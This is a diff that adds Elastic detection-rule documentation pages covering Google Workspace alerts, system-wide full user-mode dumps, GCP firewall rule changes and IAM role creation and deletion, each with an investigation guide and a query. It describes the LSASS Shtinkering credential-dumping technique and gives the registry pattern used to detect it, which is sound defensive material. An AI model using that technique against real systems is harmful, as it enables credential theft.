b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-forwarded-google-workspace-security-alert.asciidoc @@ -0,0 +1,68 @@ +[[prebuilt-rule-8-19-21-forwarded-google-workspace-security-alert]] +=== Forwarded Google Workspace Security Alert + +Identifies the occurrence of a security alert from the Google Workspace alerts center. Google Workspace's security alert center provides an overview of actionable alerts that may be affecting an organization's domain. An alert is a warning of a potential security issue that Google has detected. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://workspace.google.com/products/admin/alert-center/ +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Use Case: Log Auditing +* Use Case: Threat Detection +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +This is a promotion rule for Google Workspace security events, which are alertable events per the vendor. +Consult vendor documentation on interpreting specific events. + +==== Setup + + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: google_workspace.alert + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-full-user-mode-dumps-enabled-system-wide.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-full-user-mode-dumps-enabled-system-wide.asciidoc new file mode 100644 index 0000000000..39f8e5cc9c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-full-user-mode-dumps-enabled-system-wide.asciidoc @@ -0,0 +1,137 @@ +[[prebuilt-rule-8-19-21-full-user-mode-dumps-enabled-system-wide]] +=== Full User-Mode Dumps Enabled System-Wide + +Identifies the enable of the full user-mode dumps feature system-wide. This feature allows Windows Error Reporting (WER) to collect data after an application crashes. This setting is a requirement for the LSASS Shtinkering attack, which fakes the communication of a crash on LSASS, generating a dump of the process memory, which gives the attacker access to the credentials present on the system without having to bring malware to the system. This setting is not enabled by default, and applications must create their registry subkeys to hold settings that enable them to collect dumps. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/windows/win32/wer/collecting-user-mode-dumps +* https://github.com/deepinstinct/Lsass-Shtinkering +* https://media.defcon.org/DEF%20CON%2030/DEF%20CON%2030%20presentations/Asaf%20Gilboa%20-%20LSASS%20Shtinkering%20Abusing%20Windows%20Error%20Reporting%20to%20Dump%20LSASS.pdf + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Resources: Investigation Guide + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Full User-Mode Dumps Enabled System-Wide* + + +Full user-mode dumps are a diagnostic feature in Windows that captures detailed information about application crashes, aiding in troubleshooting. However, attackers can exploit this by triggering dumps of sensitive processes like LSASS to extract credentials. The detection rule identifies registry changes enabling this feature system-wide, flagging potential misuse by excluding legitimate system processes, thus alerting analysts to suspicious activity. + + +*Possible investigation steps* + + +- Review the registry path HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting\LocalDumps\DumpType to confirm if the value is set to "2" or "0x00000002", indicating full user-mode dumps are enabled. +- Check for any recent changes to the registry key by examining the modification timestamps and identifying the user or process responsible for the change. +- Investigate the context of the alert by reviewing recent process execution logs to identify any suspicious processes that may have triggered the dump, especially those not matching the legitimate svchost.exe process with user IDs S-1-5-18, S-1-5-19, or S-1-5-20. +- Analyze any generated dump files for sensitive information, such as credentials, and determine if they were accessed or exfiltrated by unauthorized users or processes. +- Correlate the alert with other security events or logs, such as Sysmon or Microsoft Defender XDR, to identify any related suspicious activities or patterns that could indicate a broader attack. + + +*False positive analysis* + + +- Legitimate system processes like svchost.exe may trigger the rule if they are not properly excluded. Ensure that the exclusion for svchost.exe is correctly configured by verifying the process executable path and user IDs. +- Custom applications that require full user-mode dumps for legitimate debugging purposes might be flagged. Identify these applications and create specific registry subkey exclusions to prevent false positives. +- System administrators performing routine maintenance or diagnostics might enable full user-mode dumps temporarily. Document these activities and consider creating temporary exceptions during maintenance windows. +- Security tools or monitoring software that simulate crash scenarios for testing purposes could trigger the rule. Verify the legitimacy of these tools and add them to an exclusion list if they are part of regular security operations. +- Updates or patches from software vendors that modify registry settings for error reporting might be misinterpreted as suspicious. Monitor update schedules and correlate any rule triggers with known update activities to avoid unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further credential access or lateral movement by the attacker. +- Terminate any unauthorized processes that are generating full user-mode dumps, especially those related to LSASS, to stop further credential dumping. +- Conduct a thorough review of the registry settings on the affected system to ensure that the full user-mode dumps feature is disabled unless explicitly required for legitimate purposes. +- Change all credentials that may have been exposed, particularly those associated with high-privilege accounts, to mitigate the risk of unauthorized access. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and alerting for similar registry changes across the network to detect and respond to future attempts promptly. +- Review and update endpoint protection configurations to ensure they are capable of detecting and blocking similar credential dumping techniques. + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and + registry.path : ( + "HKLM\\SOFTWARE\\Microsoft\\Windows\\Windows Error Reporting\\LocalDumps\\DumpType", + "\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\Windows Error Reporting\\LocalDumps\\DumpType" + ) and + registry.data.strings : ("2", "0x00000002") and + not (process.executable : "?:\\Windows\\system32\\svchost.exe" and user.id : ("S-1-5-18", "S-1-5-19", "S-1-5-20")) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: LSASS Memory +** ID: T1003.001 +** Reference URL: https://attack.mitre.org/techniques/T1003/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-firewall-rule-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-firewall-rule-creation.asciidoc new file mode 100644 index 0000000000..d987abce57 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-firewall-rule-creation.asciidoc @@ -0,0 +1,123 @@ +[[prebuilt-rule-8-19-21-gcp-firewall-rule-creation]] +=== GCP Firewall Rule Creation + +Identifies when a firewall rule is created in Google Cloud Platform (GCP) for Virtual Private Cloud (VPC) or App Engine. These firewall rules can be configured to allow or deny connections to or from virtual machine (VM) instances or specific applications. An adversary may create a new firewall rule in order to weaken their target's security controls and allow more permissive ingress or egress traffic flows for their benefit. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/vpc/docs/firewalls +* https://cloud.google.com/appengine/docs/standard/python/understanding-firewalls + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Firewall Rule Creation* + + +In GCP, firewall rules manage network traffic to and from VPCs and App Engine applications, crucial for maintaining security. Adversaries may exploit this by creating rules that permit unauthorized access, bypassing security measures. The detection rule monitors audit logs for specific actions indicating new rule creation, flagging potential defense evasion attempts to ensure timely investigation and response. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.dataset:gcp.audit entries to identify the source of the firewall rule creation, focusing on the event.action fields: *.compute.firewalls.insert or google.appengine.*.Firewall.Create*Rule. +- Identify the user or service account responsible for the action by examining the actor information in the audit logs, such as the principalEmail field. +- Determine the network or application affected by the new firewall rule by analyzing the target resources, such as the VPC or App Engine application, to understand the potential impact. +- Assess the rule's configuration details, including the allowed or denied IP ranges, protocols, and ports, to evaluate if it introduces any security risks or deviates from established security policies. +- Check for any recent changes in permissions or roles assigned to the user or service account involved, which might indicate privilege escalation or misuse. +- Correlate the firewall rule creation event with other security events or alerts in the same timeframe to identify any suspicious patterns or activities that might suggest a coordinated attack. +- Consult with relevant stakeholders or teams to verify if the firewall rule creation was authorized and aligns with current operational requirements or projects. + + +*False positive analysis* + + +- Routine administrative actions by authorized personnel can trigger alerts when they create or update firewall rules for legitimate purposes. To manage this, establish a list of known IP addresses or user accounts that frequently perform these actions and create exceptions for them in the detection rule. +- Automated processes or scripts that regularly update firewall configurations as part of normal operations may also cause false positives. Identify these processes and adjust the rule to exclude their specific actions or service accounts. +- Changes made during scheduled maintenance windows might be flagged as suspicious. Implement time-based exceptions to ignore rule creation events during these predefined periods. +- Integration with third-party security tools or services that modify firewall rules for enhanced protection can be mistaken for unauthorized activity. Verify these integrations and whitelist their actions to prevent unnecessary alerts. +- Development and testing environments often require frequent firewall rule changes, which can lead to false positives. Differentiate these environments from production by tagging them appropriately and excluding their events from the detection rule. + + +*Response and remediation* + + +- Immediately review the newly created firewall rule to determine its source and intent. Verify if the rule aligns with organizational security policies and intended network configurations. +- Temporarily disable or delete the suspicious firewall rule to prevent unauthorized access while further investigation is conducted. +- Conduct a thorough audit of recent firewall rule changes in the affected GCP project to identify any other unauthorized modifications. +- Isolate affected systems or applications that may have been exposed due to the unauthorized firewall rule to prevent further exploitation. +- Notify the security operations team and relevant stakeholders about the incident for awareness and further action. +- Implement additional monitoring on the affected VPC or App Engine environment to detect any further unauthorized changes or suspicious activities. +- Review and update access controls and permissions for creating and modifying firewall rules to ensure only authorized personnel have the necessary privileges. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:(*.compute.firewalls.insert or google.appengine.*.Firewall.Create*Rule) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-firewall-rule-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-firewall-rule-deletion.asciidoc new file mode 100644 index 0000000000..63bcf3dfe0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-firewall-rule-deletion.asciidoc @@ -0,0 +1,121 @@ +[[prebuilt-rule-8-19-21-gcp-firewall-rule-deletion]] +=== GCP Firewall Rule Deletion + +Identifies when a firewall rule is deleted in Google Cloud Platform (GCP) for Virtual Private Cloud (VPC) or App Engine. These firewall rules can be configured to allow or deny connections to or from virtual machine (VM) instances or specific applications. An adversary may delete a firewall rule in order to weaken their target's security controls. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/vpc/docs/firewalls +* https://cloud.google.com/appengine/docs/standard/python/understanding-firewalls + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Firewall Rule Deletion* + + +In GCP, firewall rules are crucial for controlling network traffic to and from VM instances and applications, ensuring robust security. Adversaries may delete these rules to bypass security measures, facilitating unauthorized access or data exfiltration. The detection rule monitors audit logs for deletion actions, flagging potential defense evasion attempts by identifying specific deletion events in VPC or App Engine environments. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.dataset:gcp.audit to confirm the deletion action and gather details such as the timestamp, user identity, and source IP address associated with the event. +- Investigate the event.action field to determine whether the deletion occurred in the VPC or App Engine environment, and identify the specific firewall rule that was deleted. +- Check the user or service account activity around the time of the deletion to identify any suspicious behavior or unauthorized access attempts. +- Assess the impact of the deleted firewall rule by reviewing the network traffic patterns and security posture before and after the deletion. +- Collaborate with the network security team to determine if the deletion was part of a legitimate change management process or if it indicates a potential security incident. + + +*False positive analysis* + + +- Routine maintenance or updates by authorized personnel may trigger firewall rule deletions. To manage this, create exceptions for known maintenance windows or specific user accounts responsible for these tasks. +- Automated scripts or tools used for infrastructure management might delete and recreate firewall rules as part of their normal operation. Identify these scripts and exclude their actions from triggering alerts by using service accounts or tags associated with these tools. +- Changes in application deployment processes, especially in environments like App Engine, can lead to legitimate firewall rule deletions. Review deployment logs and processes to identify patterns and exclude these from alerts. +- Organizational policy changes that involve restructuring network security may result in bulk deletions of firewall rules. Coordinate with network security teams to understand planned changes and temporarily adjust detection rules during these periods. +- Test environments often have dynamic configurations where firewall rules are frequently added and removed. Exclude specific projects or environments designated for testing from the detection rule to reduce noise. + + +*Response and remediation* + + +- Immediately isolate affected VM instances or applications by applying restrictive firewall rules to prevent further unauthorized access or data exfiltration. +- Review audit logs to identify the source of the deletion action, including user accounts and IP addresses involved, and verify if the action was authorized. +- Recreate the deleted firewall rules based on the last known good configuration to restore security controls and prevent unauthorized access. +- Conduct a security review of the affected environment to identify any additional unauthorized changes or indicators of compromise. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems or data were impacted. +- Implement enhanced monitoring and alerting for firewall rule changes to detect and respond to similar threats more quickly in the future. +- Review and update access controls and permissions for users and service accounts to ensure that only authorized personnel can modify firewall rules. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:(*.compute.firewalls.delete or google.appengine.*.Firewall.Delete*Rule) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-firewall-rule-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-firewall-rule-modification.asciidoc new file mode 100644 index 0000000000..8748b5a2b3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-firewall-rule-modification.asciidoc @@ -0,0 +1,123 @@ +[[prebuilt-rule-8-19-21-gcp-firewall-rule-modification]] +=== GCP Firewall Rule Modification + +Identifies when a firewall rule is modified in Google Cloud Platform (GCP) for Virtual Private Cloud (VPC) or App Engine. These firewall rules can be modified to allow or deny connections to or from virtual machine (VM) instances or specific applications. An adversary may modify an existing firewall rule in order to weaken their target's security controls and allow more permissive ingress or egress traffic flows for their benefit. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/vpc/docs/firewalls +* https://cloud.google.com/appengine/docs/standard/python/understanding-firewalls + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Firewall Rule Modification* + + +In GCP, firewall rules regulate network traffic to and from VPCs and App Engine applications, crucial for maintaining security. Adversaries may alter these rules to weaken defenses, enabling unauthorized access or data exfiltration. The detection rule monitors audit logs for modifications to firewall rules, identifying potential defense evasion attempts by flagging suspicious changes in network configurations. + + +*Possible investigation steps* + + +- Review the audit logs for entries with the event.dataset field set to gcp.audit to confirm the source of the alert. +- Examine the event.action field for values such as *.compute.firewalls.patch or google.appengine.*.Firewall.Update*Rule to identify the specific type of firewall rule modification. +- Identify the user or service account responsible for the modification by checking the actor information in the audit logs. +- Assess the changes made to the firewall rule, including the before and after states, to determine if the modification allows more permissive ingress or egress traffic. +- Investigate the context of the modification by reviewing related activities in the audit logs around the same time to identify any suspicious patterns or sequences of actions. +- Check for any recent security incidents or alerts involving the affected VPC or App Engine application to understand potential motives or impacts of the rule change. +- If unauthorized or suspicious activity is confirmed, initiate incident response procedures to mitigate any potential security risks. + + +*False positive analysis* + + +- Routine updates or maintenance activities by authorized personnel can trigger alerts. To manage this, create exceptions for known IP addresses or user accounts that regularly perform these tasks. +- Automated scripts or tools used for infrastructure management might modify firewall rules as part of their normal operation. Identify these scripts and exclude their actions from triggering alerts by using specific service accounts or tags. +- Changes made during scheduled maintenance windows can be considered non-threatening. Implement time-based exceptions to ignore modifications during these periods. +- Modifications related to scaling operations in App Engine or VPCs might be legitimate. Review and whitelist specific actions associated with scaling events to prevent unnecessary alerts. +- Regular audits or compliance checks might involve temporary rule changes. Document these activities and exclude them from detection by correlating with audit logs or change management records. + + +*Response and remediation* + + +- Immediately isolate the affected VPC or App Engine application by applying a restrictive firewall rule to prevent further unauthorized access or data exfiltration. +- Review the audit logs to identify the source of the modification, including user accounts and IP addresses involved, and revoke any suspicious credentials or access. +- Restore the firewall rule to its previous secure state using backup configurations or documented baselines to ensure the network is protected. +- Conduct a thorough security assessment of the affected environment to identify any additional unauthorized changes or indicators of compromise. +- Notify the security operations team and relevant stakeholders about the incident, providing details of the modification and actions taken. +- Implement enhanced monitoring and alerting for future firewall rule changes to detect and respond to similar threats more quickly. +- Consider engaging with Google Cloud support or a third-party security expert if the incident scope is beyond internal capabilities or if further expertise is required. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:(*.compute.firewalls.patch or google.appengine.*.Firewall.Update*Rule) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-iam-custom-role-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-iam-custom-role-creation.asciidoc new file mode 100644 index 0000000000..7534896968 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-iam-custom-role-creation.asciidoc @@ -0,0 +1,144 @@ +[[prebuilt-rule-8-19-21-gcp-iam-custom-role-creation]] +=== GCP IAM Custom Role Creation + +Identifies an Identity and Access Management (IAM) custom role creation in Google Cloud Platform (GCP). Custom roles are user-defined, and allow for the bundling of one or more supported permissions to meet specific needs. Custom roles will not be updated automatically and could lead to privilege creep if not carefully scrutinized. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/iam/docs/understanding-custom-roles + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP IAM Custom Role Creation* + + +Google Cloud Platform's IAM custom roles allow users to define specific permissions tailored to their needs, offering flexibility in access management. However, adversaries can exploit this by creating roles with excessive permissions, leading to privilege escalation. The detection rule monitors audit logs for successful custom role creation events, helping identify potential unauthorized access attempts by flagging unusual role configurations. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action:google.iam.admin.v*.CreateRole to identify the user or service account responsible for creating the custom role. +- Examine the permissions assigned to the newly created custom role to determine if they are excessive or deviate from standard role configurations. +- Check the event.outcome:success field to confirm the successful creation of the role and cross-reference with any recent changes in IAM policies or permissions. +- Investigate the context around the role creation, such as the time of creation and any associated IP addresses or locations, to identify any unusual patterns or anomalies. +- Assess the necessity and justification for the custom role by consulting with the relevant team or individual who requested its creation, ensuring it aligns with organizational policies and needs. + + +*False positive analysis* + + +- Routine administrative actions by authorized personnel can trigger alerts. Regularly review and document legitimate role creation activities to establish a baseline of expected behavior. +- Automated processes or scripts that create roles as part of deployment pipelines may cause false positives. Identify and whitelist these processes to prevent unnecessary alerts. +- Temporary roles created for short-term projects or testing purposes might be flagged. Implement a naming convention for such roles and exclude them from alerts based on this pattern. +- Changes in organizational structure or policy updates can lead to legitimate role creations. Ensure that these changes are communicated to the security team to adjust monitoring rules accordingly. +- Third-party integrations that require custom roles might be misidentified as threats. Maintain an inventory of these integrations and their role requirements to differentiate between legitimate and suspicious activities. + + +*Response and remediation* + + +- Immediately review the audit logs to confirm the creation of the custom role and identify the user or service account responsible for the action. +- Revoke the custom role if it is determined to have excessive permissions or if it was created without proper authorization. +- Conduct a thorough review of the permissions assigned to the custom role to ensure they align with the principle of least privilege. +- Notify the security team and relevant stakeholders about the unauthorized role creation for further investigation and potential escalation. +- Implement additional monitoring on the identified user or service account to detect any further suspicious activities. +- Review and update IAM policies to prevent unauthorized role creation, ensuring that only trusted users have the necessary permissions to create custom roles. +- Enhance detection capabilities by setting up alerts for any future custom role creation events, especially those with high-risk permissions. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:google.iam.admin.v*.CreateRole and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-iam-role-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-iam-role-deletion.asciidoc new file mode 100644 index 0000000000..f014018e5c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-gcp-iam-role-deletion.asciidoc @@ -0,0 +1,117 @@ +[[prebuilt-rule-8-19-21-gcp-iam-role-deletion]] +=== GCP IAM Role Deletion + +Identifies an Identity and Access Management (IAM) role deletion in Google Cloud Platform (GCP). A role contains a set of permissions that allows you to perform specific actions on Google Cloud resources. An adversary may delete an IAM role to inhibit access to accounts utilized by legitimate users. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/iam/docs/understanding-roles + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Identity and Access Audit +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP IAM Role Deletion* + + +Google Cloud Platform's IAM roles define permissions for actions on resources, crucial for managing access. Adversaries might delete roles to disrupt legitimate user access, hindering operations. The detection rule monitors audit logs for successful role deletions, signaling potential unauthorized access removal, thus aiding in identifying and mitigating such security threats. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action:google.iam.admin.v*.DeleteRole to identify the exact role that was deleted and the associated project or resource. +- Identify the user or service account responsible for the deletion by examining the actor information in the audit logs. +- Check the event.timestamp to determine when the role deletion occurred and correlate it with any other suspicious activities around the same time. +- Investigate the event.outcome:success to confirm that the role deletion was completed successfully and assess the potential impact on access and operations. +- Analyze the context of the deletion by reviewing recent changes or activities in the project or organization to understand if the deletion was part of a legitimate change or an unauthorized action. +- Contact the user or team responsible for the project to verify if the role deletion was intentional and authorized, and gather additional context if needed. + + +*False positive analysis* + + +- Routine administrative actions may trigger alerts when roles are deleted as part of regular maintenance or restructuring. To manage this, create exceptions for known administrative accounts or scheduled maintenance windows. +- Automated scripts or tools that manage IAM roles might cause false positives if they delete roles as part of their operation. Identify these scripts and exclude their actions from triggering alerts by using specific service accounts or tags. +- Deletion of temporary or test roles used in development environments can be mistaken for malicious activity. Implement filters to exclude actions within designated development projects or environments. +- Changes in organizational structure or policy might necessitate role deletions, which could be misinterpreted as threats. Document and communicate these changes to the security team to adjust monitoring rules accordingly. +- Third-party integrations or services that manage IAM roles could inadvertently cause false positives. Ensure these services are properly documented and their actions are whitelisted if deemed non-threatening. + + +*Response and remediation* + + +- Immediately revoke any active sessions and credentials associated with the deleted IAM role to prevent unauthorized access. +- Restore the deleted IAM role from a backup or recreate it with the same permissions to ensure legitimate users regain access. +- Conduct a thorough review of recent IAM activity logs to identify any unauthorized changes or suspicious activities related to IAM roles. +- Notify the security team and relevant stakeholders about the incident for awareness and further investigation. +- Implement additional monitoring on IAM role changes to detect and alert on any future unauthorized deletions promptly. +- Review and tighten IAM role permissions to ensure the principle of least privilege is enforced, reducing the risk of similar incidents. +- Consider enabling additional security features such as multi-factor authentication (MFA) for accounts with 